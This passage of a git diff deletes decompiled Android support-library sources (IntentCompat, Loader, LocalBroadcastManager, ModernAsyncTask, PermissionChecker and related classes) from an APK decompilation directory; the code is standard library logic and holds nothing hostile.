IntentCompatImplBase() { - } - - @Override // android.support.v4.content.IntentCompat.IntentCompatImpl - public Intent makeMainActivity(ComponentName componentName) { - Intent intent = new Intent("android.intent.action.MAIN"); - intent.setComponent(componentName); - intent.addCategory("android.intent.category.LAUNCHER"); - return intent; - } - - @Override // android.support.v4.content.IntentCompat.IntentCompatImpl - public Intent makeMainSelectorActivity(String str, String str2) { - Intent intent = new Intent(str); - intent.addCategory(str2); - return intent; - } - - @Override // android.support.v4.content.IntentCompat.IntentCompatImpl - public Intent makeRestartActivityTask(ComponentName componentName) { - Intent makeMainActivity = makeMainActivity(componentName); - makeMainActivity.addFlags(268468224); - return makeMainActivity; - } - } - - /* loaded from: /home/trevor/apk_decompile/classes.dex */ - static class IntentCompatImplHC extends IntentCompatImplBase { - IntentCompatImplHC() { - } - - @Override // android.support.v4.content.IntentCompat.IntentCompatImplBase, android.support.v4.content.IntentCompat.IntentCompatImpl - public Intent makeMainActivity(ComponentName componentName) { - return IntentCompatHoneycomb.makeMainActivity(componentName); - } - - @Override // android.support.v4.content.IntentCompat.IntentCompatImplBase, android.support.v4.content.IntentCompat.IntentCompatImpl - public Intent makeRestartActivityTask(ComponentName componentName) { - return IntentCompatHoneycomb.makeRestartActivityTask(componentName); - } - } - - /* loaded from: /home/trevor/apk_decompile/classes.dex */ - static class IntentCompatImplIcsMr1 extends IntentCompatImplHC { - IntentCompatImplIcsMr1() { - } - - @Override // android.support.v4.content.IntentCompat.IntentCompatImplBase, android.support.v4.content.IntentCompat.IntentCompatImpl - public Intent makeMainSelectorActivity(String str, String str2) { - return IntentCompatIcsMr1.makeMainSelectorActivity(str, str2); - } - } - - private IntentCompat() { - } - - public static Intent makeMainActivity(ComponentName componentName) { - return IMPL.makeMainActivity(componentName); - } - - public static Intent makeMainSelectorActivity(String str, String str2) { - return IMPL.makeMainSelectorActivity(str, str2); - } - - public static Intent makeRestartActivityTask(ComponentName componentName) { - return IMPL.makeRestartActivityTask(componentName); - } -} diff --git a/apk_3230/decompiled_source/sources/android/support/v4/content/IntentCompatHoneycomb.java b/apk_3230/decompiled_source/sources/android/support/v4/content/IntentCompatHoneycomb.java deleted file mode 100644 index 7e0b687..0000000 --- a/apk_3230/decompiled_source/sources/android/support/v4/content/IntentCompatHoneycomb.java +++ /dev/null @@ -1,17 +0,0 @@ -package android.support.v4.content; - -import android.content.ComponentName; -import android.content.Intent; -/* loaded from: /home/trevor/apk_decompile/classes.dex */ -class IntentCompatHoneycomb { - IntentCompatHoneycomb() { - } - - public static Intent makeMainActivity(ComponentName componentName) { - return Intent.makeMainActivity(componentName); - } - - public static Intent makeRestartActivityTask(ComponentName componentName) { - return Intent.makeRestartActivityTask(componentName); - } -} diff --git a/apk_3230/decompiled_source/sources/android/support/v4/content/IntentCompatIcsMr1.java b/apk_3230/decompiled_source/sources/android/support/v4/content/IntentCompatIcsMr1.java deleted file mode 100644 index 8af10e7..0000000 --- a/apk_3230/decompiled_source/sources/android/support/v4/content/IntentCompatIcsMr1.java +++ /dev/null @@ -1,12 +0,0 @@ -package android.support.v4.content; - -import android.content.Intent; -/* loaded from: /home/trevor/apk_decompile/classes.dex */ -class IntentCompatIcsMr1 { - IntentCompatIcsMr1() { - } - - public static Intent makeMainSelectorActivity(String str, String str2) { - return Intent.makeMainSelectorActivity(str, str2); - } -} diff --git a/apk_3230/decompiled_source/sources/android/support/v4/content/Loader.java b/apk_3230/decompiled_source/sources/android/support/v4/content/Loader.java deleted file mode 100644 index e20c56e..0000000 --- a/apk_3230/decompiled_source/sources/android/support/v4/content/Loader.java +++ /dev/null @@ -1,242 +0,0 @@ -package android.support.v4.content; - -import android.content.Context; -import android.database.ContentObserver; -import android.os.Handler; -import android.support.v4.util.DebugUtils; -import java.io.FileDescriptor; -import java.io.PrintWriter; -/* loaded from: /home/trevor/apk_decompile/classes.dex */ -public class Loader { - Context mContext; - int mId; - OnLoadCompleteListener mListener; - OnLoadCanceledListener mOnLoadCanceledListener; - boolean mStarted = false; - boolean mAbandoned = false; - boolean mReset = true; - boolean mContentChanged = false; - boolean mProcessingChange = false; - - /* loaded from: /home/trevor/apk_decompile/classes.dex */ - public interface OnLoadCanceledListener { - void onLoadCanceled(Loader loader); - } - - /* loaded from: /home/trevor/apk_decompile/classes.dex */ - public interface OnLoadCompleteListener { - void onLoadComplete(Loader loader, D d); - } - - protected void onAbandon() { - } - - protected boolean onCancelLoad() { - return false; - } - - /* JADX INFO: Access modifiers changed from: protected */ - public void onForceLoad() { - } - - /* JADX INFO: Access modifiers changed from: protected */ - public void onReset() { - } - - protected void onStartLoading() { - } - - protected void onStopLoading() { - } - - /* loaded from: /home/trevor/apk_decompile/classes.dex */ - public final class ForceLoadContentObserver extends ContentObserver { - @Override // android.database.ContentObserver - public boolean deliverSelfNotifications() { - return true; - } - - public ForceLoadContentObserver() { - super(new Handler()); - } - - @Override // android.database.ContentObserver - public void onChange(boolean z) { - Loader.this.onContentChanged(); - } - } - - public Loader(Context context) { - this.mContext = context.getApplicationContext(); - } - - public void deliverResult(D d) { - OnLoadCompleteListener onLoadCompleteListener = this.mListener; - if (onLoadCompleteListener != null) { - onLoadCompleteListener.onLoadComplete(this, d); - } - } - - public void deliverCancellation() { - OnLoadCanceledListener onLoadCanceledListener = this.mOnLoadCanceledListener; - if (onLoadCanceledListener != null) { - onLoadCanceledListener.onLoadCanceled(this); - } - } - - public Context getContext() { - return this.mContext; - } - - public int getId() { - return this.mId; - } - - public void registerListener(int i, OnLoadCompleteListener onLoadCompleteListener) { - if (this.mListener != null) { - throw new IllegalStateException("There is already a listener registered"); - } - this.mListener = onLoadCompleteListener; - this.mId = i; - } - - public void unregisterListener(OnLoadCompleteListener onLoadCompleteListener) { - OnLoadCompleteListener onLoadCompleteListener2 = this.mListener; - if (onLoadCompleteListener2 == null) { - throw new IllegalStateException("No listener register"); - } - if (onLoadCompleteListener2 != onLoadCompleteListener) { - throw new IllegalArgumentException("Attempting to unregister the wrong listener"); - } - this.mListener = null; - } - - public void registerOnLoadCanceledListener(OnLoadCanceledListener onLoadCanceledListener) { - if (this.mOnLoadCanceledListener != null) { - throw new IllegalStateException("There is already a listener registered"); - } - this.mOnLoadCanceledListener = onLoadCanceledListener; - } - - public void unregisterOnLoadCanceledListener(OnLoadCanceledListener onLoadCanceledListener) { - OnLoadCanceledListener onLoadCanceledListener2 = this.mOnLoadCanceledListener; - if (onLoadCanceledListener2 == null) { - throw new IllegalStateException("No listener register"); - } - if (onLoadCanceledListener2 != onLoadCanceledListener) { - throw new IllegalArgumentException("Attempting to unregister the wrong listener"); - } - this.mOnLoadCanceledListener = null; - } - - public boolean isStarted() { - return this.mStarted; - } - - public boolean isAbandoned() { - return this.mAbandoned; - } - - public boolean isReset() { - return this.mReset; - } - - public final void startLoading() { - this.mStarted = true; - this.mReset = false; - this.mAbandoned = false; - onStartLoading(); - } - - public boolean cancelLoad() { - return onCancelLoad(); - } - - public void forceLoad() { - onForceLoad(); - } - - public void stopLoading() { - this.mStarted = false; - onStopLoading(); - } - - public void abandon() { - this.mAbandoned = true; - onAbandon(); - } - - public void reset() { - onReset(); - this.mReset = true; - this.mStarted = false; - this.mAbandoned = false; - this.mContentChanged = false; - this.mProcessingChange = false; - } - - public boolean takeContentChanged() { - boolean z = this.mContentChanged; - this.mContentChanged = false; - this.mProcessingChange |= z; - return z; - } - - public void commitContentChanged() { - this.mProcessingChange = false; - } - - public void rollbackContentChanged() { - if (this.mProcessingChange) { - onContentChanged(); - } - } - - public void onContentChanged() { - if (this.mStarted) { - forceLoad(); - } else { - this.mContentChanged = true; - } - } - - public String dataToString(D d) { - StringBuilder sb = new StringBuilder(64); - DebugUtils.buildShortClassTag(d, sb); - sb.append("}"); - return sb.toString(); - } - - public String toString() { - StringBuilder sb = new StringBuilder(64); - DebugUtils.buildShortClassTag(this, sb); - sb.append(" id="); - sb.append(this.mId); - sb.append("}"); - return sb.toString(); - } - - public void dump(String str, FileDescriptor fileDescriptor, PrintWriter printWriter, String[] strArr) { - printWriter.print(str); - printWriter.print("mId="); - printWriter.print(this.mId); - printWriter.print(" mListener="); - printWriter.println(this.mListener); - if (this.mStarted || this.mContentChanged || this.mProcessingChange) { - printWriter.print(str); - printWriter.print("mStarted="); - printWriter.print(this.mStarted); - printWriter.print(" mContentChanged="); - printWriter.print(this.mContentChanged); - printWriter.print(" mProcessingChange="); - printWriter.println(this.mProcessingChange); - } - if (this.mAbandoned || this.mReset) { - printWriter.print(str); - printWriter.print("mAbandoned="); - printWriter.print(this.mAbandoned); - printWriter.print(" mReset="); - printWriter.println(this.mReset); - } - } -} diff --git a/apk_3230/decompiled_source/sources/android/support/v4/content/LocalBroadcastManager.java b/apk_3230/decompiled_source/sources/android/support/v4/content/LocalBroadcastManager.java deleted file mode 100644 index f652d70..0000000 --- a/apk_3230/decompiled_source/sources/android/support/v4/content/LocalBroadcastManager.java +++ /dev/null @@ -1,258 +0,0 @@ -package android.support.v4.content; - -import android.content.BroadcastReceiver; -import android.content.Context; -import android.content.Intent; -import android.content.IntentFilter; -import android.net.Uri; -import android.os.Handler; -import android.os.Message; -import android.util.Log; -import java.util.ArrayList; -import java.util.HashMap; -import java.util.Set; -/* loaded from: /home/trevor/apk_decompile/classes.dex */ -public final class LocalBroadcastManager { - private static final boolean DEBUG = false; - static final int MSG_EXEC_PENDING_BROADCASTS = 1; - private static final String TAG = "LocalBroadcastManager"; - private static LocalBroadcastManager mInstance; - private static final Object mLock = new Object(); - private final Context mAppContext; - private final Handler mHandler; - private final HashMap> mReceivers = new HashMap<>(); - private final HashMap> mActions = new HashMap<>(); - private final ArrayList mPendingBroadcasts = new ArrayList<>(); - - /* JADX INFO: Access modifiers changed from: private */ - /* loaded from: /home/trevor/apk_decompile/classes.dex */ - public static class ReceiverRecord { - boolean broadcasting; - final IntentFilter filter; - final BroadcastReceiver receiver; - - ReceiverRecord(IntentFilter intentFilter, BroadcastReceiver broadcastReceiver) { - this.filter = intentFilter; - this.receiver = broadcastReceiver; - } - - public String toString() { - StringBuilder sb = new StringBuilder(128); - sb.append("Receiver{"); - sb.append(this.receiver); - sb.append(" filter="); - sb.append(this.filter); - sb.append("}"); - return sb.toString(); - } - } - - /* JADX INFO: Access modifiers changed from: private */ - /* loaded from: /home/trevor/apk_decompile/classes.dex */ - public static class BroadcastRecord { - final Intent intent; - final ArrayList receivers; - - BroadcastRecord(Intent intent, ArrayList arrayList) { - this.intent = intent; - this.receivers = arrayList; - } - } - - public static LocalBroadcastManager getInstance(Context context) { - LocalBroadcastManager localBroadcastManager; - synchronized (mLock) { - if (mInstance == null) { - mInstance = new LocalBroadcastManager(context.getApplicationContext()); - } - localBroadcastManager = mInstance; - } - return localBroadcastManager; - } - - private LocalBroadcastManager(Context context) { - this.mAppContext = context; - this.mHandler = new Handler(context.getMainLooper()) { // from class: android.support.v4.content.LocalBroadcastManager.1 - @Override // android.os.Handler - public void handleMessage(Message message) { - if (message.what == 1) { - LocalBroadcastManager.this.executePendingBroadcasts(); - } else { - super.handleMessage(message); - } - } - }; - } - - public void registerReceiver(BroadcastReceiver broadcastReceiver, IntentFilter intentFilter) { - synchronized (this.mReceivers) { - ReceiverRecord receiverRecord = new ReceiverRecord(intentFilter, broadcastReceiver); - ArrayList arrayList = this.mReceivers.get(broadcastReceiver); - if (arrayList == null) { - arrayList = new ArrayList<>(1); - this.mReceivers.put(broadcastReceiver, arrayList); - } - arrayList.add(intentFilter); - for (int i = 0; i < intentFilter.countActions(); i++) { - String action = intentFilter.getAction(i); - ArrayList arrayList2 = this.mActions.get(action); - if (arrayList2 == null) { - arrayList2 = new ArrayList<>(1); - this.mActions.put(action, arrayList2); - } - arrayList2.add(receiverRecord); - } - } - } - - public void unregisterReceiver(BroadcastReceiver broadcastReceiver) { - synchronized (this.mReceivers) { - ArrayList remove = this.mReceivers.remove(broadcastReceiver); - if (remove == null) { - return; - } - for (int i = 0; i < remove.size(); i++) { - IntentFilter intentFilter = remove.get(i); - for (int i2 = 0; i2 < intentFilter.countActions(); i2++) { - String action = intentFilter.getAction(i2); - ArrayList arrayList = this.mActions.get(action); - if (arrayList != null) { - int i3 = 0; - while (i3 < arrayList.size()) { - if (arrayList.get(i3).receiver == broadcastReceiver) { - arrayList.remove(i3); - i3--; - } - i3++; - } - if (arrayList.size() <= 0) { - this.mActions.remove(action); - } - } - } - } - } - } - - public boolean sendBroadcast(Intent intent) { - boolean z; - ArrayList arrayList; - int i; - String str; - boolean z2; - String str2; - synchronized (this.mReceivers) { - String action = intent.getAction(); - String resolveTypeIfNeeded = intent.resolveTypeIfNeeded(this.mAppContext.getContentResolver()); - Uri data = intent.getData(); - String scheme = intent.getScheme(); - Set categories = intent.getCategories(); - boolean z3 = true; - Object[] objArr = (intent.getFlags() & 8) != 0 ? 1 : null; - if (objArr != null) { - Log.v(TAG, "Resolving type " + resolveTypeIfNeeded + " scheme " + scheme + " of intent " + intent); - } - ArrayList arrayList2 = this.mActions.get(intent.getAction()); - if (arrayList2 != null) { - if (objArr != null) { - Log.v(TAG, "Action list: " + arrayList2); - } - ArrayList arrayList3 = null; - int i2 = 0; - while (i2 < arrayList2.size()) { - ReceiverRecord receiverRecord = arrayList2.get(i2); - if (objArr != null) { - Log.v(TAG, "Matching against filter " + receiverRecord.filter); - } - if (receiverRecord.broadcasting) { - if (objArr != null) { - Log.v(TAG, " Filter's target already added"); - } - arrayList = arrayList2; - i = i2; - str = action; - z2 = z3; - } else { - String str3 = action; - arrayList = arrayList2; - i = i2; - str = action; - z2 = z3; - int match = receiverRecord.filter.match(str3, resolveTypeIfNeeded, scheme, data, categories, TAG); - if (match >= 0) { - if (objArr != null) { - Log.v(TAG, " Filter matched! match=0x" + Integer.toHexString(match)); - } - if (arrayList3 == null) { - arrayList3 = new ArrayList(); - } - arrayList3.add(receiverRecord); - receiverRecord.broadcasting = z2; - } else if (objArr != null) { - if (match == -4) { - str2 = "category"; - } else if (match == -3) { - str2 = "action"; - } else if (match == -2) { - str2 = "data"; - } else if (match == -1) { - str2 = "type"; - } else { - str2 = "unknown reason"; - } - Log.v(TAG, " Filter did not match: " + str2); - } - } - i2 = i + 1; - z3 = z2; - arrayList2 = arrayList; - action = str; - } - boolean z4 = z3; - if (arrayList3 != null) { - for (int i3 = 0; i3 < arrayList3.size(); i3++) { - ((ReceiverRecord) arrayList3.get(i3)).broadcasting = false; - } - this.mPendingBroadcasts.add(new BroadcastRecord(intent, arrayList3)); - if (!this.mHandler.hasMessages(z4 ? 1 : 0)) { - this.mHandler.sendEmptyMessage(z4 ? 1 : 0); - } - return z4; - } - z = false; - } else { - z = false; - } - return z; - } - } - - public void sendBroadcastSync(Intent intent) { - if (sendBroadcast(intent)) { - executePendingBroadcasts(); - } - } - - /* JADX INFO: Access modifiers changed from: private */ - public void executePendingBroadcasts() { - int size; - BroadcastRecord[] broadcastRecordArr; - while (true) { - synchronized (this.mReceivers) { - size = this.mPendingBroadcasts.size(); - if (size <= 0) { - return; - } - broadcastRecordArr = new BroadcastRecord[size]; - this.mPendingBroadcasts.toArray(broadcastRecordArr); - this.mPendingBroadcasts.clear(); - } - for (int i = 0; i < size; i++) { - BroadcastRecord broadcastRecord = broadcastRecordArr[i]; - for (int i2 = 0; i2 < broadcastRecord.receivers.size(); i2++) { - broadcastRecord.receivers.get(i2).receiver.onReceive(this.mAppContext, broadcastRecord.intent); - } - } - } - } -} diff --git a/apk_3230/decompiled_source/sources/android/support/v4/content/ModernAsyncTask.java b/apk_3230/decompiled_source/sources/android/support/v4/content/ModernAsyncTask.java deleted file mode 100644 index ca0a776..0000000 --- a/apk_3230/decompiled_source/sources/android/support/v4/content/ModernAsyncTask.java +++ /dev/null @@ -1,266 +0,0 @@ -package android.support.v4.content; - -import android.os.Binder; -import android.os.Handler; -import android.os.Looper; -import android.os.Message; -import android.os.Process; -import android.util.Log; -import java.util.concurrent.BlockingQueue; -import java.util.concurrent.Callable; -import java.util.concurrent.CancellationException; -import java.util.concurrent.ExecutionException; -import java.util.concurrent.Executor; -import java.util.concurrent.FutureTask; -import java.util.concurrent.LinkedBlockingQueue; -import java.util.concurrent.ThreadFactory; -import java.util.concurrent.ThreadPoolExecutor; -import java.util.concurrent.TimeUnit; -import java.util.concurrent.TimeoutException; -import java.util.concurrent.atomic.AtomicBoolean; -import java.util.concurrent.atomic.AtomicInteger; -/* loaded from: /home/trevor/apk_decompile/classes.dex */ -abstract class ModernAsyncTask { - private static final int CORE_POOL_SIZE = 5; - private static final int KEEP_ALIVE = 1; - private static final String LOG_TAG = "AsyncTask"; - private static final int MAXIMUM_POOL_SIZE = 128; - private static final int MESSAGE_POST_PROGRESS = 2; - private static final int MESSAGE_POST_RESULT = 1; - public static final Executor THREAD_POOL_EXECUTOR; - private static volatile Executor sDefaultExecutor; - private static InternalHandler sHandler; - private static final BlockingQueue sPoolWorkQueue; - private static final ThreadFactory sThreadFactory; - private final FutureTask mFuture; - private volatile Status mStatus = Status.PENDING; - final AtomicBoolean mTaskInvoked = new AtomicBoolean(); - private final WorkerRunnable mWorker; - - /* loaded from: /home/trevor/apk_decompile/classes.dex */ - public enum Status { - PENDING, - RUNNING, - FINISHED - } - - protected abstract Result doInBackground(Params... paramsArr); - - protected void onCancelled() { - } - - protected void onPostExecute(Result result) { - } - - protected void onPreExecute() { - } - - protected void onProgressUpdate(Progress... progressArr) { - } - - static { - ThreadFactory threadFactory = new ThreadFactory() { // from class: android.support.v4.content.ModernAsyncTask.1 - private final AtomicInteger mCount = new AtomicInteger(1); - - @Override // java.util.concurrent.ThreadFactory - public Thread newThread(Runnable runnable) { - return new Thread(runnable, "ModernAsyncTask #" + this.mCount.getAndIncrement()); - } - }; - sThreadFactory = threadFactory; - LinkedBlockingQueue linkedBlockingQueue = new LinkedBlockingQueue(10); - sPoolWorkQueue = linkedBlockingQueue; - ThreadPoolExecutor threadPoolExecutor = new ThreadPoolExecutor(5, 128, 1L, TimeUnit.SECONDS, linkedBlockingQueue, threadFactory); - THREAD_POOL_EXECUTOR = threadPoolExecutor; - sDefaultExecutor = threadPoolExecutor; - } - - private static Handler getHandler() { - InternalHandler internalHandler; - synchronized (ModernAsyncTask.class) { - if (sHandler == null) { - sHandler = new InternalHandler(); - } - internalHandler = sHandler; - } - return internalHandler; - } - - public static void setDefaultExecutor(Executor executor) { - sDefaultExecutor = executor; - } - - public ModernAsyncTask() { - WorkerRunnable workerRunnable = new WorkerRunnable() { // from class: android.support.v4.content.ModernAsyncTask.2 - @Override // java.util.concurrent.Callable - public Result call() throws Exception { - ModernAsyncTask.this.mTaskInvoked.set(true); - Result result = null; - try { - Process.setThreadPriority(10); - result = (Result) ModernAsyncTask.this.doInBackground(this.mParams); - Binder.flushPendingCommands(); - return result; - } finally { - ModernAsyncTask.this.postResult(result); - } - } - }; - this.mWorker = workerRunnable; - this.mFuture = new FutureTask(workerRunnable) { // from class: android.support.v4.content.ModernAsyncTask.3 - @Override // java.util.concurrent.FutureTask - protected void done() { - try { - ModernAsyncTask.this.postResultIfNotInvoked(get()); - } catch (InterruptedException e) { - Log.w(ModernAsyncTask.LOG_TAG, e); - } catch (CancellationException unused) { - ModernAsyncTask.this.postResultIfNotInvoked(null); - } catch (ExecutionException e2) { - throw new RuntimeException("An error occurred while executing doInBackground()", e2.getCause()); - } catch (Throwable th) { - throw new RuntimeException("An error occurred while executing doInBackground()", th); - } - } - }; - } - - void postResultIfNotInvoked(Result result) { - if (this.mTaskInvoked.get()) { - return; - } - postResult(result); - } - - Result postResult(Result result) { - getHandler().obtainMessage(1, new AsyncTaskResult(this, result)).sendToTarget(); - return result; - } - - public final Status getStatus() { - return this.mStatus; - } - - protected void onCancelled(Result result) { - onCancelled(); - } - - public final boolean isCancelled() { - return this.mFuture.isCancelled(); - } - - public final boolean cancel(boolean z) { - return this.mFuture.cancel(z); - } - - public final Result get() throws InterruptedException, ExecutionException { - return this.mFuture.get(); - } - - public final Result get(long j, TimeUnit timeUnit) throws InterruptedException, ExecutionException, TimeoutException { - return this.mFuture.get(j, timeUnit); - } - - public final ModernAsyncTask execute(Params... paramsArr) { - return executeOnExecutor(sDefaultExecutor, paramsArr); - } - - /* JADX INFO: Access modifiers changed from: package-private */ - /* renamed from: android.support.v4.content.ModernAsyncTask$4 reason: invalid class name */ - /* loaded from: /home/trevor/apk_decompile/classes.dex */ - public static /* synthetic */ class AnonymousClass4 { - static final /* synthetic */ int[] $SwitchMap$android$support$v4$content$ModernAsyncTask$Status; - - static { - int[] iArr = new int[Status.values().length]; - $SwitchMap$android$support$v4$content$ModernAsyncTask$Status = iArr; - try { - iArr[Status.RUNNING.ordinal()] = 1; - } catch (NoSuchFieldError unused) { - } - try { - $SwitchMap$android$support$v4$content$ModernAsyncTask$Status[Status.FINISHED.ordinal()] = 2; - } catch (NoSuchFieldError unused2) { - } - } - } - - public final ModernAsyncTask executeOnExecutor(Executor executor, Params... paramsArr) { - if (this.mStatus != Status.PENDING) { - int i = AnonymousClass4.$SwitchMap$android$support$v4$content$ModernAsyncTask$Status[this.mStatus.ordinal()]; - if (i == 1) { - throw new IllegalStateException("Cannot execute task: the task is already running."); - } - if (i == 2) { - throw new IllegalStateException("Cannot execute task: the task has already been executed (a task can be executed only once)"); - } - } - this.mStatus = Status.RUNNING; - onPreExecute(); - this.mWorker.mParams = paramsArr; - executor.execute(this.mFuture); - return this; - } - - public static void execute(Runnable runnable) { - sDefaultExecutor.execute(runnable); - } - - protected final void publishProgress(Progress... progressArr) { - if (isCancelled()) { - return; - } - getHandler().obtainMessage(2, new AsyncTaskResult(this, progressArr)).sendToTarget(); - } - - void finish(Result result) { - if (isCancelled()) { - onCancelled(result); - } else { - onPostExecute(result); - } - this.mStatus = Status.FINISHED; - } - - /* JADX INFO: Access modifiers changed from: private */ - /* loaded from: /home/trevor/apk_decompile/classes.dex */ - public static class InternalHandler extends Handler { - public InternalHandler() { - super(Looper.getMainLooper()); - } - - /* JADX WARN: Multi-variable type inference failed */ - @Override // android.os.Handler - public void handleMessage(Message message) { - AsyncTaskResult asyncTaskResult = (AsyncTaskResult) message.obj; - int i = message.what; - if (i == 1) { - asyncTaskResult.mTask.finish(asyncTaskResult.mData[0]); - } else if (i != 2) { - } else { - asyncTaskResult.mTask.onProgressUpdate(asyncTaskResult.mData); - } - } - } - - /* JADX INFO: Access modifiers changed from: private */ - /* loaded from: /home/trevor/apk_decompile/classes.dex */ - public static abstract class WorkerRunnable implements Callable { - Params[] mParams; - - WorkerRunnable() { - } - } - - /* JADX INFO: Access modifiers changed from: private */ - /* loaded from: /home/trevor/apk_decompile/classes.dex */ - public static class AsyncTaskResult { - final Data[] mData; - final ModernAsyncTask mTask; - - AsyncTaskResult(ModernAsyncTask modernAsyncTask, Data... dataArr) { - this.mTask = modernAsyncTask; - this.mData = dataArr; - } - } -} diff --git a/apk_3230/decompiled_source/sources/android/support/v4/content/ParallelExecutorCompat.java b/apk_3230/decompiled_source/sources/android/support/v4/content/ParallelExecutorCompat.java deleted file mode 100644 index d0fea19..0000000 --- a/apk_3230/decompiled_source/sources/android/support/v4/content/ParallelExecutorCompat.java +++ /dev/null @@ -1,12 +0,0 @@ -package android.support.v4.content; - -import java.util.concurrent.Executor; -/* loaded from: /home/trevor/apk_decompile/classes.dex */ -public final class ParallelExecutorCompat { - public static Executor getParallelExecutor() { - return ExecutorCompatHoneycomb.getParallelExecutor(); - } - - private ParallelExecutorCompat() { - } -} diff --git a/apk_3230/decompiled_source/sources/android/support/v4/content/PermissionChecker.java b/apk_3230/decompiled_source/sources/android/support/v4/content/PermissionChecker.java deleted file mode 100644 index a29a06f..0000000 --- a/apk_3230/decompiled_source/sources/android/support/v4/content/PermissionChecker.java +++ /dev/null @@ -1,55 +0,0 @@ -package android.support.v4.content; - -import android.content.Context; -import android.os.Binder; -import android.os.Process; -import android.support.v4.app.AppOpsManagerCompat; -import java.lang.annotation.Retention; -import java.lang.annotation.RetentionPolicy; -/* loaded from: /home/trevor/apk_decompile/classes.dex */ -public final class PermissionChecker { - public static final int PERMISSION_DENIED = -1; - public static final int PERMISSION_DENIED_APP_OP = -2; - public static final int PERMISSION_GRANTED = 0; - - @Retention(RetentionPolicy.SOURCE) - /* loaded from: /home/trevor/apk_decompile/classes.dex */ - public @interface PermissionResult { - } - - private PermissionChecker() { - } - - public static int checkPermission(Context context, String str, int i, int i2, String str2) { - if (context.checkPermission(str, i, i2) == -1) { - return -1; - } - String permissionToOp = AppOpsManagerCompat.permissionToOp(str); - if (permissionToOp == null) { - return 0; - } - if (str2 == null) { - String[] packagesForUid = context.getPackageManager().getPackagesForUid(i2); - if (packagesForUid == null || packagesForUid.length <= 0) { - return -1; - } - str2 = packagesForUid[0]; - } - return AppOpsManagerCompat.noteProxyOp(context, permissionToOp, str2) != 0 ? -2 : 0; - } - - public static int checkSelfPermission(Context context, String str) { - return checkPermission(context, str, Process.myPid(), Process.myUid(), context.getPackageName()); - } - - public static int checkCallingPermission(Context context, String str, String str2) { - if (Binder.getCallingPid() == Process.myPid()) { - return -1; - } - return checkPermission(context, str, Binder.getCallingPid(), Binder.getCallingUid(), str2); - } - - public static int checkCallingOrSelfPermission(Context context, String str) { - return checkPermission(context, str, Binder.getCallingPid(), Binder.getCallingUid(), Binder.getCallingPid() == Process.myPid() ? context.getPackageName() : null); - } -} diff --git a/apk_3230/decompiled_source/sources/android/support/v4/content/SharedPreferencesCompat.java b/apk_3230/decompiled_source/sources/android/support/v4/content/SharedPreferencesCompat.java deleted file mode 100644 index 232d86b..0000000 --- a/apk_3230/decompiled_source/sources/android/support/v4/content/SharedPreferencesCompat.java +++ /dev/null @@ -1,43 +0,0 @@ -package android.support.v4.content; - -import android.content.SharedPreferences; -/* loaded from: /home/trevor/apk_decompile/classes.dex */ -public final class SharedPreferencesCompat { - - /* loaded from: /home/trevor/apk_decompile/classes.dex */ - public static final class EditorCompat { - private static EditorCompat sInstance; - private final Helper mHelper = new Helper(); - - /* loaded from: /home/trevor/apk_decompile/classes.dex */ - private static class Helper { - Helper() { - } - - public void apply(SharedPreferences.Editor editor) { - try { - editor.apply(); - } catch (AbstractMethodError unused) { - editor.commit(); - } - } - } - - private EditorCompat() { - } - - public static EditorCompat getInstance() { - if (sInstance == null) { - sInstance = new EditorCompat(); - } - return sInstance; - } - - public void apply(SharedPreferences.Editor editor) { - this.mHelper.apply(editor); - } - } - - private SharedPreferencesCompat() { - } -} diff --git a/apk_3230/decompiled_source/sources/android/support/v4/content/WakefulBroadcastReceiver.java b/apk_3230/decompiled_source/sources/android/support/v4/content/WakefulBroadcastReceiver.java deleted file mode 100644 index d5f4bee..0000000 --- a/apk_3230/decompiled_source/sources/android/support/v4/content/WakefulBroadcastReceiver.java +++ /dev/null @@ -1,55 +0,0 @@ -package android.support.v4.content; - -import android.content.BroadcastReceiver; -import android.content.ComponentName; -import android.content.Context; -import android.content.Intent; -import android.os.PowerManager; -import android.util.Log; -import android.util.SparseArray; -/* loaded from: /home/trevor/apk_decompile/classes.dex */ -public abstract class WakefulBroadcastReceiver extends BroadcastReceiver { - private static final String EXTRA_WAKE_LOCK_ID = "android.support.content.wakelockid"; - private static final SparseArray mActiveWakeLocks = new SparseArray<>(); - private static int mNextId = 1; - - public static ComponentName startWakefulService(Context context, Intent intent) { - SparseArray sparseArray = mActiveWakeLocks; - synchronized (sparseArray) { - int i = mNextId; - int i2 = i + 1; - mNextId = i2; - if (i2 <= 0) { - mNextId = 1; - } - intent.putExtra(EXTRA_WAKE_LOCK_ID, i); - ComponentName startService = context.startService(intent); - if (startService == null) { - return null; - } - PowerManager.WakeLock newWakeLock = ((PowerManager) context.getSystemService("power")).newWakeLock(1, "wake:" + startService.flattenToShortString()); - newWakeLock.setReferenceCounted(false); - newWakeLock.acquire(60000L); - sparseArray.put(i, newWakeLock); - return startService; - } - } - - public static boolean completeWakefulIntent(Intent intent) { - int intExtra = intent.getIntExtra(EXTRA_WAKE_LOCK_ID, 0); - if (intExtra == 0) { - return false; - } - SparseArray sparseArray = mActiveWakeLocks; - synchronized (sparseArray) { - PowerManager.WakeLock wakeLock = sparseArray.get(intExtra); - if (wakeLock != null) { - wakeLock.release(); - sparseArray.remove(intExtra); - return true; - } - Log.w("WakefulBroadcastReceiver", "No active wake lock id #" + intExtra); - return true; - } - } -} diff --git a/apk_3230/decompiled_source/sources/android/support/v4/content/pm/ActivityInfoCompat.java b/apk_3230/decompiled_source/sources/android/support/v4/content/pm/ActivityInfoCompat.java deleted file mode 100644 index 86f3e8c..0000000 --- a/apk_3230/decompiled_source/sources/android/support/v4/content/pm/ActivityInfoCompat.java +++ /dev/null @@ -1,8 +0,0 @@ -package android.support.v4.content.pm; -/* loaded from: /home/trevor/apk_decompile/classes.dex */ -public final class ActivityInfoCompat { - public static final int CONFIG_UI_MODE = 512; - - private ActivityInfoCompat() { - } -} diff --git a/apk_3230/decompiled_source/sources/android/support/v4/content/res/ConfigurationHelper.java b/apk_3230/decompiled_source/sources/android/support/v4/content/res/ConfigurationHelper.java deleted file mode 100644 index 7c53fc3..0000000 --- a/apk_3230/decompiled_source/sources/android/support/v4/content/res/ConfigurationHelper.java +++ /dev/null @@ -1,95 +0,0 @@ -package android.support.v4.content.res; - -import android.content.res.Resources; -/* loaded from: /home/trevor/apk_decompile/classes.dex */ -public final class ConfigurationHelper { - private static final ConfigurationHelperImpl IMPL = new JellybeanMr1Impl(); - - /* loaded from: /home/trevor/apk_decompile/classes.dex */ - private interface ConfigurationHelperImpl { - int getDensityDpi(Resources resources); - - int getScreenHeightDp(Resources resources); - - int getScreenWidthDp(Resources resources); - - int getSmallestScreenWidthDp(Resources resources); - } - - private ConfigurationHelper() { - } - - /* loaded 